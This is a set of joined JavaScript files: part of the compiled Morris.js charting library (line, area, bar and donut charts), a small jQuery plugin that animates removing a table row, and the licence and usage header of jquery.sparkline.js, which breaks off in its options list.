for (_j = 0, _len = _ref2.length; _j < _len; _j++) {
r = _ref2[_j];
if (r._y[i] !== void 0) {
_results1.push({
x: r._x,
y: r._y[i]
});
}
}
return _results1;
}).call(this);
if (this.options.continuousLine) {
coords = (function() {
var _j, _len, _results1;
_results1 = [];
for (_j = 0, _len = coords.length; _j < _len; _j++) {
c = coords[_j];
if (c.y !== null) {
_results1.push(c);
}
}
return _results1;
})();
}
if (coords.length > 1) {
_results.push(Morris.Line.createPath(coords, smooth, this.bottom));
} else {
_results.push(null);
}
}
return _results;
}).call(this);
};
Line.prototype.draw = function() {
if (this.options.axes) {
this.drawXAxis();
}
this.drawSeries();
if (this.options.hideHover === false) {
return this.displayHoverForRow(this.data.length - 1);
}
};
Line.prototype.drawXAxis = function() {
var drawLabel, l, labels, prevLabelMargin, row, ypos, _i, _len, _results,
_this = this;
ypos = this.bottom + this.options.gridTextSize * 1.25;
prevLabelMargin = null;
drawLabel = function(labelText, xpos) {
var label, labelBox;
label = _this.drawXAxisLabel(_this.transX(xpos), ypos, labelText);
labelBox = label.getBBox();
if ((!(prevLabelMargin != null) || prevLabelMargin >= labelBox.x + labelBox.width) && labelBox.x >= 0 && (labelBox.x + labelBox.width) < _this.el.width()) {
return prevLabelMargin = labelBox.x - _this.options.xLabelMargin;
} else {
return label.remove();
}
};
if (this.options.parseTime) {
if (this.data.length === 1 && this.options.xLabels === 'auto') {
labels = [[this.data[0].label, this.data[0].x]];
} else {
labels = Morris.labelSeries(this.xmin, this.xmax, this.width, this.options.xLabels, this.options.xLabelFormat);
}
} else {
labels = (function() {
var _i, _len, _ref, _results;
_ref = this.data;
_results = [];
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
row = _ref[_i];
_results.push([row.label, row.x]);
}
return _results;
}).call(this);
}
labels.reverse();
_results = [];
for (_i = 0, _len = labels.length; _i < _len; _i++) {
l = labels[_i];
_results.push(drawLabel(l[0], l[1]));
}
return _results;
};
Line.prototype.drawSeries = function() {
var circle, i, path, row, _i, _j, _ref, _ref1, _results;
for (i = _i = _ref = this.options.ykeys.length - 1; _ref <= 0 ? _i <= 0 : _i >= 0; i = _ref <= 0 ? ++_i : --_i) {
path = this.paths[i];
if (path !== null) {
this.drawLinePath(path, this.colorFor(row, i, 'line'));
}
}
this.seriesPoints = (function() {
var _j, _ref1, _results;
_results = [];
for (i = _j = 0, _ref1 = this.options.ykeys.length; 0 <= _ref1 ? _j < _ref1 : _j > _ref1; i = 0 <= _ref1 ? ++_j : --_j) {
_results.push([]);
}
return _results;
}).call(this);
_results = [];
for (i = _j = _ref1 = this.options.ykeys.length - 1; _ref1 <= 0 ? _j <= 0 : _j >= 0; i = _ref1 <= 0 ? ++_j : --_j) {
_results.push((function() {
var _k, _len, _ref2, _results1;
_ref2 = this.data;
_results1 = [];
for (_k = 0, _len = _ref2.length; _k < _len; _k++) {
row = _ref2[_k];
if (row._y[i] != null) {
circle = this.drawLinePoint(row._x, row._y[i], this.options.pointSize, this.colorFor(row, i, 'point'), i);
} else {
circle = null;
}
_results1.push(this.seriesPoints[i].push(circle));
}
return _results1;
}).call(this));
}
return _results;
};
Line.createPath = function(coords, smooth, bottom) {
var coord, g, grads, i, ix, lg, path, prevCoord, x1, x2, y1, y2, _i, _len;
path = "";
if (smooth) {
grads = Morris.Line.gradients(coords);
}
prevCoord = {
y: null
};
for (i = _i = 0, _len = coords.length; _i < _len; i = ++_i) {
coord = coords[i];
if (coord.y != null) {
if (prevCoord.y != null) {
if (smooth) {
g = grads[i];
lg = grads[i - 1];
ix = (coord.x - prevCoord.x) / 4;
x1 = prevCoord.x + ix;
y1 = Math.min(bottom, prevCoord.y + ix * lg);
x2 = coord.x - ix;
y2 = Math.min(bottom, coord.y - ix * g);
path += "C" + x1 + "," + y1 + "," + x2 + "," + y2 + "," + coord.x + "," + coord.y;
} else {
path += "L" + coord.x + "," + coord.y;
}
} else {
if (!smooth || (grads[i] != null)) {
path += "M" + coord.x + "," + coord.y;
}
}
}
prevCoord = coord;
}
return path;
};
Line.gradients = function(coords) {
var coord, grad, i, nextCoord, prevCoord, _i, _len, _results;
grad = function(a, b) {
return (a.y - b.y) / (a.x - b.x);
};
_results = [];
for (i = _i = 0, _len = coords.length; _i < _len; i = ++_i) {
coord = coords[i];
if (coord.y != null) {
nextCoord = coords[i + 1] || {
y: null
};
prevCoord = coords[i - 1] || {
y: null
};
if ((prevCoord.y != null) && (nextCoord.y != null)) {
_results.push(grad(prevCoord, nextCoord));
} else if (prevCoord.y != null) {
_results.push(grad(prevCoord, coord));
} else if (nextCoord.y != null) {
_results.push(grad(coord, nextCoord));
} else {
_results.push(null);
}
} else {
_results.push(null);
}
}
return _results;
};
Line.prototype.hilight = function(index) {
var i, _i, _j, _ref, _ref1;
if (this.prevHilight !== null && this.prevHilight !== index) {
for (i = _i = 0, _ref = this.seriesPoints.length - 1; 0 <= _ref ? _i <= _ref : _i >= _ref; i = 0 <= _ref ? ++_i : --_i) {
if (this.seriesPoints[i][this.prevHilight]) {
this.seriesPoints[i][this.prevHilight].animate(this.pointShrink);
}
}
}
if (index !== null && this.prevHilight !== index) {
for (i = _j = 0, _ref1 = this.seriesPoints.length - 1; 0 <= _ref1 ? _j <= _ref1 : _j >= _ref1; i = 0 <= _ref1 ? ++_j : --_j) {
if (this.seriesPoints[i][index]) {
this.seriesPoints[i][index].animate(this.pointGrow);
}
}
}
return this.prevHilight = index;
};
Line.prototype.colorFor = function(row, sidx, type) {
if (typeof this.options.lineColors === 'function') {
return this.options.lineColors.call(this, row, sidx, type);
} else if (type === 'point') {
return this.options.pointFillColors[sidx % this.options.pointFillColors.length] || this.options.lineColors[sidx % this.options.lineColors.length];
} else {
return this.options.lineColors[sidx % this.options.lineColors.length];
}
};
Line.prototype.drawXAxisLabel = function(xPos, yPos, text) {
return this.raphael.text(xPos, yPos, text).attr('font-size', this.options.gridTextSize).attr('fill', this.options.gridTextColor);
};
Line.prototype.drawLinePath = function(path, lineColor) {
return this.raphael.path(path).attr('stroke', lineColor).attr('stroke-width', this.options.lineWidth);
};
Line.prototype.drawLinePoint = function(xPos, yPos, size, pointColor, lineIndex) {
return this.raphael.circle(xPos, yPos, size).attr('fill', pointColor).attr('stroke-width', this.strokeWidthForSeries(lineIndex)).attr('stroke', this.strokeForSeries(lineIndex));
};
Line.prototype.strokeWidthForSeries = function(index) {
return this.options.pointWidths[index % this.options.pointWidths.length];
};
Line.prototype.strokeForSeries = function(index) {
return this.options.pointStrokeColors[index % this.options.pointStrokeColors.length];
};
return Line;
})(Morris.Grid);
Morris.labelSeries = function(dmin, dmax, pxwidth, specName, xLabelFormat) {
var d, d0, ddensity, name, ret, s, spec, t, _i, _len, _ref;
ddensity = 200 * (dmax - dmin) / pxwidth;
d0 = new Date(dmin);
spec = Morris.LABEL_SPECS[specName];
if (spec === void 0) {
_ref = Morris.AUTO_LABEL_ORDER;
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
name = _ref[_i];
s = Morris.LABEL_SPECS[name];
if (ddensity >= s.span) {
spec = s;
break;
}
}
}
if (spec === void 0) {
spec = Morris.LABEL_SPECS["second"];
}
if (xLabelFormat) {
spec = $.extend({}, spec, {
fmt: xLabelFormat
});
}
d = spec.start(d0);
ret = [];
while ((t = d.getTime()) <= dmax) {
if (t >= dmin) {
ret.push([spec.fmt(d), t]);
}
spec.incr(d);
}
return ret;
};
minutesSpecHelper = function(interval) {
return {
span: interval * 60 * 1000,
start: function(d) {
return new Date(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours());
},
fmt: function(d) {
return "" + (Morris.pad2(d.getHours())) + ":" + (Morris.pad2(d.getMinutes()));
},
incr: function(d) {
return d.setMinutes(d.getMinutes() + interval);
}
};
};
secondsSpecHelper = function(interval) {
return {
span: interval * 1000,
start: function(d) {
return new Date(d.getFullYear(), d.getMonth(), d.getDate(), d.getHours(), d.getMinutes());
},
fmt: function(d) {
return "" + (Morris.pad2(d.getHours())) + ":" + (Morris.pad2(d.getMinutes())) + ":" + (Morris.pad2(d.getSeconds()));
},
incr: function(d) {
return d.setSeconds(d.getSeconds() + interval);
}
};
};
Morris.LABEL_SPECS = {
"decade": {
span: 172800000000,
start: function(d) {
return new Date(d.getFullYear() - d.getFullYear() % 10, 0, 1);
},
fmt: function(d) {
return "" + (d.getFullYear());
},
incr: function(d) {
return d.setFullYear(d.getFullYear() + 10);
}
},
"year": {
span: 17280000000,
start: function(d) {
return new Date(d.getFullYear(), 0, 1);
},
fmt: function(d) {
return "" + (d.getFullYear());
},
incr: function(d) {
return d.setFullYear(d.getFullYear() + 1);
}
},
"month": {
span: 2419200000,
start: function(d) {
return new Date(d.getFullYear(), d.getMonth(), 1);
},
fmt: function(d) {
return "" + (d.getFullYear()) + "-" + (Morris.pad2(d.getMonth() + 1));
},
incr: function(d) {
return d.setMonth(d.getMonth() + 1);
}
},
"day": {
span: 86400000,
start: function(d) {
return new Date(d.getFullYear(), d.getMonth(), d.getDate());
},
fmt: function(d) {
return "" + (d.getFullYear()) + "-" + (Morris.pad2(d.getMonth() + 1)) + "-" + (Morris.pad2(d.getDate()));
},
incr: function(d) {
return d.setDate(d.getDate() + 1);
}
},
"hour": minutesSpecHelper(60),
"30min": minutesSpecHelper(30),
"15min": minutesSpecHelper(15),
"10min": minutesSpecHelper(10),
"5min": minutesSpecHelper(5),
"minute": minutesSpecHelper(1),
"30sec": secondsSpecHelper(30),
"15sec": secondsSpecHelper(15),
"10sec": secondsSpecHelper(10),
"5sec": secondsSpecHelper(5),
"second": secondsSpecHelper(1)
};
Morris.AUTO_LABEL_ORDER = ["decade", "year", "month", "day", "hour", "30min", "15min", "10min", "5min", "minute", "30sec", "15sec", "10sec", "5sec", "second"];
Morris.Area = (function(_super) {
__extends(Area, _super);
function Area(options) {
if (!(this instanceof Morris.Area)) {
return new Morris.Area(options);
}
this.cumulative = true;
Area.__super__.constructor.call(this, options);
}
Area.prototype.calcPoints = function() {
var row, total, y, _i, _len, _ref, _results;
_ref = this.data;
_results = [];
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
row = _ref[_i];
row._x = this.transX(row.x);
total = 0;
row._y = (function() {
var _j, _len1, _ref1, _results1;
_ref1 = row.y;
_results1 = [];
for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {
y = _ref1[_j];
total += y || 0;
_results1.push(this.transY(total));
}
return _results1;
}).call(this);
_results.push(row._ymax = row._y[row._y.length - 1]);
}
return _results;
};
Area.prototype.drawSeries = function() {
var i, path, _i, _ref;
for (i = _i = _ref = this.options.ykeys.length - 1; _ref <= 0 ? _i <= 0 : _i >= 0; i = _ref <= 0 ? ++_i : --_i) {
path = this.paths[i];
if (path !== null) {
path = path + ("L" + (this.transX(this.xmax)) + "," + this.bottom + "L" + (this.transX(this.xmin)) + "," + this.bottom + "Z");
this.drawFilledPath(path, this.fillForSeries(i));
}
}
return Area.__super__.drawSeries.call(this);
};
Area.prototype.fillForSeries = function(i) {
var color;
color = Raphael.rgb2hsl(this.colorFor(this.data[i], i, 'line'));
return Raphael.hsl(color.h, Math.min(255, color.s * 0.75), Math.min(255, color.l * 1.25));
};
Area.prototype.drawFilledPath = function(path, fill) {
return this.raphael.path(path).attr('fill', fill).attr('stroke-width', 0);
};
return Area;
})(Morris.Line);
Morris.Bar = (function(_super) {
__extends(Bar, _super);
function Bar(options) {
this.onHoverOut = __bind(this.onHoverOut, this);
this.onHoverMove = __bind(this.onHoverMove, this);
if (!(this instanceof Morris.Bar)) {
return new Morris.Bar(options);
}
Bar.__super__.constructor.call(this, $.extend({}, options, {
parseTime: false
}));
}
Bar.prototype.init = function() {
this.cumulative = this.options.stacked;
if (this.options.hideHover !== 'always') {
this.hover = new Morris.Hover({
parent: this.el
});
this.on('hovermove', this.onHoverMove);
return this.on('hoverout', this.onHoverOut);
}
};
Bar.prototype.defaults = {
barSizeRatio: 0.75,
barGap: 3,
barColors: ['#57889c', '#71843f', '#92a2a8', '#afd8f8', '#edc240', '#cb4b4b', '#9440ed'],
xLabelMargin: 50
};
Bar.prototype.calc = function() {
var _ref;
this.calcBars();
if (this.options.hideHover === false) {
return (_ref = this.hover).update.apply(_ref, this.hoverContentForRow(this.data.length - 1));
}
};
Bar.prototype.calcBars = function() {
var idx, row, y, _i, _len, _ref, _results;
_ref = this.data;
_results = [];
for (idx = _i = 0, _len = _ref.length; _i < _len; idx = ++_i) {
row = _ref[idx];
row._x = this.left + this.width * (idx + 0.5) / this.data.length;
_results.push(row._y = (function() {
var _j, _len1, _ref1, _results1;
_ref1 = row.y;
_results1 = [];
for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {
y = _ref1[_j];
if (y != null) {
_results1.push(this.transY(y));
} else {
_results1.push(null);
}
}
return _results1;
}).call(this));
}
return _results;
};
Bar.prototype.draw = function() {
if (this.options.axes) {
this.drawXAxis();
}
return this.drawSeries();
};
Bar.prototype.drawXAxis = function() {
var i, label, labelBox, prevLabelMargin, row, ypos, _i, _ref, _results;
ypos = this.bottom + this.options.gridTextSize * 1.25;
prevLabelMargin = null;
_results = [];
for (i = _i = 0, _ref = this.data.length; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) {
row = this.data[this.data.length - 1 - i];
label = this.drawXAxisLabel(row._x, ypos, row.label);
labelBox = label.getBBox();
if ((!(prevLabelMargin != null) || prevLabelMargin >= labelBox.x + labelBox.width) && labelBox.x >= 0 && (labelBox.x + labelBox.width) < this.el.width()) {
_results.push(prevLabelMargin = labelBox.x - this.options.xLabelMargin);
} else {
_results.push(label.remove());
}
}
return _results;
};
Bar.prototype.drawSeries = function() {
var barWidth, bottom, groupWidth, idx, lastTop, left, leftPadding, numBars, row, sidx, size, top, ypos, zeroPos;
groupWidth = this.width / this.options.data.length;
numBars = this.options.stacked != null ? 1 : this.options.ykeys.length;
barWidth = (groupWidth * this.options.barSizeRatio - this.options.barGap * (numBars - 1)) / numBars;
leftPadding = groupWidth * (1 - this.options.barSizeRatio) / 2;
zeroPos = this.ymin <= 0 && this.ymax >= 0 ? this.transY(0) : null;
return this.bars = (function() {
var _i, _len, _ref, _results;
_ref = this.data;
_results = [];
for (idx = _i = 0, _len = _ref.length; _i < _len; idx = ++_i) {
row = _ref[idx];
lastTop = 0;
_results.push((function() {
var _j, _len1, _ref1, _results1;
_ref1 = row._y;
_results1 = [];
for (sidx = _j = 0, _len1 = _ref1.length; _j < _len1; sidx = ++_j) {
ypos = _ref1[sidx];
if (ypos !== null) {
if (zeroPos) {
top = Math.min(ypos, zeroPos);
bottom = Math.max(ypos, zeroPos);
} else {
top = ypos;
bottom = this.bottom;
}
left = this.left + idx * groupWidth + leftPadding;
if (!this.options.stacked) {
left += sidx * (barWidth + this.options.barGap);
}
size = bottom - top;
if (this.options.stacked) {
top -= lastTop;
}
this.drawBar(left, top, barWidth, size, this.colorFor(row, sidx, 'bar'));
_results1.push(lastTop += size);
} else {
_results1.push(null);
}
}
return _results1;
}).call(this));
}
return _results;
}).call(this);
};
Bar.prototype.colorFor = function(row, sidx, type) {
var r, s;
if (typeof this.options.barColors === 'function') {
r = {
x: row.x,
y: row.y[sidx],
label: row.label
};
s = {
index: sidx,
key: this.options.ykeys[sidx],
label: this.options.labels[sidx]
};
return this.options.barColors.call(this, r, s, type);
} else {
return this.options.barColors[sidx % this.options.barColors.length];
}
};
Bar.prototype.hitTest = function(x, y) {
if (this.data.length === 0) {
return null;
}
x = Math.max(Math.min(x, this.right), this.left);
return Math.min(this.data.length - 1, Math.floor((x - this.left) / (this.width / this.data.length)));
};
Bar.prototype.onHoverMove = function(x, y) {
var index, _ref;
index = this.hitTest(x, y);
return (_ref = this.hover).update.apply(_ref, this.hoverContentForRow(index));
};
Bar.prototype.onHoverOut = function() {
if (this.options.hideHover === 'auto') {
return this.hover.hide();
}
};
Bar.prototype.hoverContentForRow = function(index) {
var content, j, row, x, y, _i, _len, _ref;
if (typeof this.options.hoverCallback === 'function') {
content = this.options.hoverCallback(index, this.options);
} else {
row = this.data[index];
content = "<div class='morris-hover-row-label'>" + row.label + "</div>";
_ref = row.y;
for (j = _i = 0, _len = _ref.length; _i < _len; j = ++_i) {
y = _ref[j];
content += "<div class='morris-hover-point' style='color: " + (this.colorFor(row, j, 'label')) + "'>\n " + this.options.labels[j] + ":\n " + (this.yLabelFormat(y)) + "\n</div>";
}
}
x = this.left + (index + 0.5) * this.width / this.data.length;
return [content, x];
};
Bar.prototype.drawXAxisLabel = function(xPos, yPos, text) {
var label;
return label = this.raphael.text(xPos, yPos, text).attr('font-size', this.options.gridTextSize).attr('fill', this.options.gridTextColor);
};
Bar.prototype.drawBar = function(xPos, yPos, width, height, barColor) {
return this.raphael.rect(xPos, yPos, width, height).attr('fill', barColor).attr('stroke-width', 0);
};
return Bar;
})(Morris.Grid);
Morris.Donut = (function() {
Donut.prototype.defaults = {
colors: ['#57889c', '#3980B5', '#679DC6', '#95BBD7', '#B0CCE1', '#095791', '#095085', '#083E67', '#052C48', '#042135'],
backgroundColor: '#FFFFFF',
labelColor: '#000000',
formatter: Morris.commas
};
function Donut(options) {
this.select = __bind(this.select, this);
if (!(this instanceof Morris.Donut)) {
return new Morris.Donut(options);
}
if (typeof options.element === 'string') {
this.el = $(document.getElementById(options.element));
} else {
this.el = $(options.element);
}
this.options = $.extend({}, this.defaults, options);
if (this.el === null || this.el.length === 0) {
throw new Error("Graph placeholder not found.");
}
if (options.data === void 0 || options.data.length === 0) {
return;
}
this.data = options.data;
this.redraw();
}
Donut.prototype.redraw = function() {
var C, cx, cy, d, idx, last, max_value, min, next, seg, total, w, x, _i, _j, _k, _len, _len1, _len2, _ref, _ref1, _ref2, _results;
this.el.empty();
this.raphael = new Raphael(this.el[0]);
cx = this.el.width() / 2;
cy = this.el.height() / 2;
w = (Math.min(cx, cy) - 10) / 3;
total = 0;
_ref = this.data;
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
x = _ref[_i];
total += x.value;
}
min = 5 / (2 * w);
C = 1.9999 * Math.PI - min * this.data.length;
last = 0;
idx = 0;
this.segments = [];
_ref1 = this.data;
for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {
d = _ref1[_j];
next = last + min + C * (d.value / total);
seg = new Morris.DonutSegment(cx, cy, w * 2, w, last, next, this.options.colors[idx % this.options.colors.length], this.options.backgroundColor, d, this.raphael);
seg.render();
this.segments.push(seg);
seg.on('hover', this.select);
last = next;
idx += 1;
}
this.text1 = this.drawEmptyDonutLabel(cx, cy - 10, this.options.labelColor, 15, 800);
this.text2 = this.drawEmptyDonutLabel(cx, cy + 10, this.options.labelColor, 14);
max_value = Math.max.apply(null, (function() {
var _k, _len2, _ref2, _results;
_ref2 = this.data;
_results = [];
for (_k = 0, _len2 = _ref2.length; _k < _len2; _k++) {
d = _ref2[_k];
_results.push(d.value);
}
return _results;
}).call(this));
idx = 0;
_ref2 = this.data;
_results = [];
for (_k = 0, _len2 = _ref2.length; _k < _len2; _k++) {
d = _ref2[_k];
if (d.value === max_value) {
this.select(idx);
break;
}
_results.push(idx += 1);
}
return _results;
};
Donut.prototype.select = function(idx) {
var s, segment, _i, _len, _ref;
_ref = this.segments;
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
s = _ref[_i];
s.deselect();
}
if (typeof idx === 'number') {
segment = this.segments[idx];
} else {
segment = idx;
}
segment.select();
return this.setLabels(segment.data.label, this.options.formatter(segment.data.value, segment.data));
};
Donut.prototype.setLabels = function(label1, label2) {
var inner, maxHeightBottom, maxHeightTop, maxWidth, text1bbox, text1scale, text2bbox, text2scale;
inner = (Math.min(this.el.width() / 2, this.el.height() / 2) - 10) * 2 / 3;
maxWidth = 1.8 * inner;
maxHeightTop = inner / 2;
maxHeightBottom = inner / 3;
this.text1.attr({
text: label1,
transform: ''
});
text1bbox = this.text1.getBBox();
text1scale = Math.min(maxWidth / text1bbox.width, maxHeightTop / text1bbox.height);
this.text1.attr({
transform: "S" + text1scale + "," + text1scale + "," + (text1bbox.x + text1bbox.width / 2) + "," + (text1bbox.y + text1bbox.height)
});
this.text2.attr({
text: label2,
transform: ''
});
text2bbox = this.text2.getBBox();
text2scale = Math.min(maxWidth / text2bbox.width, maxHeightBottom / text2bbox.height);
return this.text2.attr({
transform: "S" + text2scale + "," + text2scale + "," + (text2bbox.x + text2bbox.width / 2) + "," + text2bbox.y
});
};
Donut.prototype.drawEmptyDonutLabel = function(xPos, yPos, color, fontSize, fontWeight) {
var text;
text = this.raphael.text(xPos, yPos, '').attr('font-size', fontSize).attr('fill', color);
if (fontWeight != null) {
text.attr('font-weight', fontWeight);
}
return text;
};
return Donut;
})();
Morris.DonutSegment = (function(_super) {
__extends(DonutSegment, _super);
function DonutSegment(cx, cy, inner, outer, p0, p1, color, backgroundColor, data, raphael) {
this.cx = cx;
this.cy = cy;
this.inner = inner;
this.outer = outer;
this.color = color;
this.backgroundColor = backgroundColor;
this.data = data;
this.raphael = raphael;
this.deselect = __bind(this.deselect, this);
this.select = __bind(this.select, this);
this.sin_p0 = Math.sin(p0);
this.cos_p0 = Math.cos(p0);
this.sin_p1 = Math.sin(p1);
this.cos_p1 = Math.cos(p1);
this.is_long = (p1 - p0) > Math.PI ? 1 : 0;
this.path = this.calcSegment(this.inner + 3, this.inner + this.outer - 5);
this.selectedPath = this.calcSegment(this.inner + 3, this.inner + this.outer);
this.hilight = this.calcArc(this.inner);
}
DonutSegment.prototype.calcArcPoints = function(r) {
return [this.cx + r * this.sin_p0, this.cy + r * this.cos_p0, this.cx + r * this.sin_p1, this.cy + r * this.cos_p1];
};
DonutSegment.prototype.calcSegment = function(r1, r2) {
var ix0, ix1, iy0, iy1, ox0, ox1, oy0, oy1, _ref, _ref1;
_ref = this.calcArcPoints(r1), ix0 = _ref[0], iy0 = _ref[1], ix1 = _ref[2], iy1 = _ref[3];
_ref1 = this.calcArcPoints(r2), ox0 = _ref1[0], oy0 = _ref1[1], ox1 = _ref1[2], oy1 = _ref1[3];
return ("M" + ix0 + "," + iy0) + ("A" + r1 + "," + r1 + ",0," + this.is_long + ",0," + ix1 + "," + iy1) + ("L" + ox1 + "," + oy1) + ("A" + r2 + "," + r2 + ",0," + this.is_long + ",1," + ox0 + "," + oy0) + "Z";
};
DonutSegment.prototype.calcArc = function(r) {
var ix0, ix1, iy0, iy1, _ref;
_ref = this.calcArcPoints(r), ix0 = _ref[0], iy0 = _ref[1], ix1 = _ref[2], iy1 = _ref[3];
return ("M" + ix0 + "," + iy0) + ("A" + r + "," + r + ",0," + this.is_long + ",0," + ix1 + "," + iy1);
};
DonutSegment.prototype.render = function() {
var _this = this;
this.arc = this.drawDonutArc(this.hilight, this.color);
return this.seg = this.drawDonutSegment(this.path, this.color, this.backgroundColor, function() {
return _this.fire('hover', _this);
});
};
DonutSegment.prototype.drawDonutArc = function(path, color) {
return this.raphael.path(path).attr({
stroke: color,
'stroke-width': 2,
opacity: 0
});
};
DonutSegment.prototype.drawDonutSegment = function(path, fillColor, strokeColor, hoverFunction) {
return this.raphael.path(path).attr({
fill: fillColor,
stroke: strokeColor,
'stroke-width': 3
}).hover(hoverFunction);
};
DonutSegment.prototype.select = function() {
if (!this.selected) {
this.seg.animate({
path: this.selectedPath
}, 150, '<>');
this.arc.animate({
opacity: 1
}, 150, '<>');
return this.selected = true;
}
};
DonutSegment.prototype.deselect = function() {
if (this.selected) {
this.seg.animate({
path: this.path
}, 150, '<>');
this.arc.animate({
opacity: 0
}, 150, '<>');
return this.selected = false;
}
};
return DonutSegment;
})(Morris.EventEmitter);
}).call(this);
| JavaScript |
/*
* REMOVE TABLE ROW
*/
(function() {
var $;
$ = jQuery;
$.fn.extend({
rowslide : function(callback) {
var $row, $tds, highestTd;
$row = this;
$tds = this.find("td");
$row_id = $row.attr("id");
highestTd = this.getTallestTd($tds);
return $row.animate({
opacity : 0
}, 80, function() {
var $td, $wrapper, _this = this;
$tds.each(function(i, td) {
if (this !== highestTd) {
$(this).empty();
return $(this).css("padding", "0");
}
});
$td = $(highestTd);
$wrapper = $("<div/>");
$wrapper.css($td.css("padding"));
$td.css("padding", "0");
$td.wrapInner($wrapper);
return $td.children("div").animate({
height : "hide"
}, 100, "swing", function() {
$row.remove();
//console.log($row.attr("id") +" was deleted");
if (callback) {
return callback();
}
});
});
},
getTallestTd : function($tds) {
var height, index;
index = -1;
height = 0;
$tds.each(function(i, td) {
if ($(td).height() > height) {
index = i;
return height = $(td).height();
}
});
return $tds.get(index);
}
});
}).call(this);
/* ~ END: TABLE REMOVE ROW */ | JavaScript |
/**
*
* jquery.sparkline.js
*
* v2.1.2
* (c) Splunk, Inc
* Contact: Gareth Watts (gareth@splunk.com)
* http://omnipotent.net/jquery.sparkline/
*
* Generates inline sparkline charts from data supplied either to the method
* or inline in HTML
*
* Compatible with Internet Explorer 6.0+ and modern browsers equipped with the canvas tag
* (Firefox 2.0+, Safari, Opera, etc)
*
* License: New BSD License
*
* Copyright (c) 2012, Splunk Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* * Neither the name of Splunk Inc nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
* SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
* OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*
* Usage:
* $(selector).sparkline(values, options)
*
* If values is undefined or set to 'html' then the data values are read from the specified tag:
* <p>Sparkline: <span class="sparkline">1,4,6,6,8,5,3,5</span></p>
* $('.sparkline').sparkline();
* There must be no spaces in the enclosed data set
*
* Otherwise values must be an array of numbers or null values
* <p>Sparkline: <span id="sparkline1">This text replaced if the browser is compatible</span></p>
* $('#sparkline1').sparkline([1,4,6,6,8,5,3,5])
* $('#sparkline2').sparkline([1,4,6,null,null,5,3,5])
*
* Values can also be specified in an HTML comment, or as a values attribute:
* <p>Sparkline: <span class="sparkline"><!--1,4,6,6,8,5,3,5 --></span></p>
* <p>Sparkline: <span class="sparkline" values="1,4,6,6,8,5,3,5"></span></p>
* $('.sparkline').sparkline();
*
* For line charts, x values can also be specified:
* <p>Sparkline: <span class="sparkline">1:1,2.7:4,3.4:6,5:6,6:8,8.7:5,9:3,10:5</span></p>
* $('#sparkline1').sparkline([ [1,1], [2.7,4], [3.4,6], [5,6], [6,8], [8.7,5], [9,3], [10,5] ])
*
* By default, options should be passed in as teh second argument to the sparkline function:
* $('.sparkline').sparkline([1,2,3,4], {type: 'bar'})
*
* Options can also be set by passing them on the tag itself. This feature is disabled by default though
* as there's a slight performance overhead:
* $('.sparkline').sparkline([1,2,3,4], {enableTagOptions: true})
* <p>Sparkline: <span class="sparkline" sparkType="bar" sparkBarColor="red">loading</span></p>
* Prefix all options supplied as tag attribute with "spark" (configurable by setting tagOptionPrefix)
*
* Supported options:
* lineColor - Color of the line used for the chart
* fillColor - Color used to fill in the chart - Set to '' or false for a transparent chart
* width - Width of the chart - Defaults to 3 times the number of values in pixels
* height - Height of the chart - Defaults to the height of the containing element
* chartRangeMin - Specify the minimum value to use for the Y range of the chart - Defaults to the minimum value supplied
* chartRangeMax - Specify the maximum value to use for the Y range of the chart - Defaults to the maximum value supplied
* chartRangeClip - Clip out of range values to the max/min specified by chartRangeMin and chartRangeMax
* chartRangeMinX - Specify the minimum value to use for the X range of the chart - Defaults to the minimum value supplied
* chartRangeMaxX - Specify the maximum value to use for the X range of the chart - Defaults to the maximum value supplied
* composite - If true then don't erase any existing chart attached to the tag, but draw
* another chart over the top - Note that width and height are ignored if an
* existing chart is detected.
* tagValuesAttribute - Name of tag attribute to check for data values - Defaults to 'values'
* enableTagOptions - Whether to check tags for sparkline options
* tagOptionPrefix - Prefix used for options supplied as tag attributes - Defaults to 'spark'
* disableHiddenCheck - If set to true, then the plugin will assume that charts will never be drawn into a
* hidden dom element, avoding a browser reflow
* disableInteraction - If set to true then all mouseover/click interaction behaviour will be disabled,
* making the plugin perform much like it did in 1.x
* disableTooltips - If set to true then tooltips will be disabled - Defaults to false (tooltips enabled)
* disableHighlight - If set to true then highlighting of selected chart elements on mouseover will be disabled
* defaults to false (highlights enabled)
* highlightLighten - Factor to lighten/darken highlighted chart values by - Defaults to 1.4 for a 40% increase
* tooltipContainer - Specify which DOM element the tooltip should be rendered into - defaults to document.body
* tooltipClassname - Optional CSS classname to apply to tooltips - If not specified then a default style will be applied
* tooltipOffsetX - How many pixels away from the mouse pointer to render the tooltip on the X axis
* tooltipOffsetY - How many pixels away from the mouse pointer to render the tooltip on the r axis
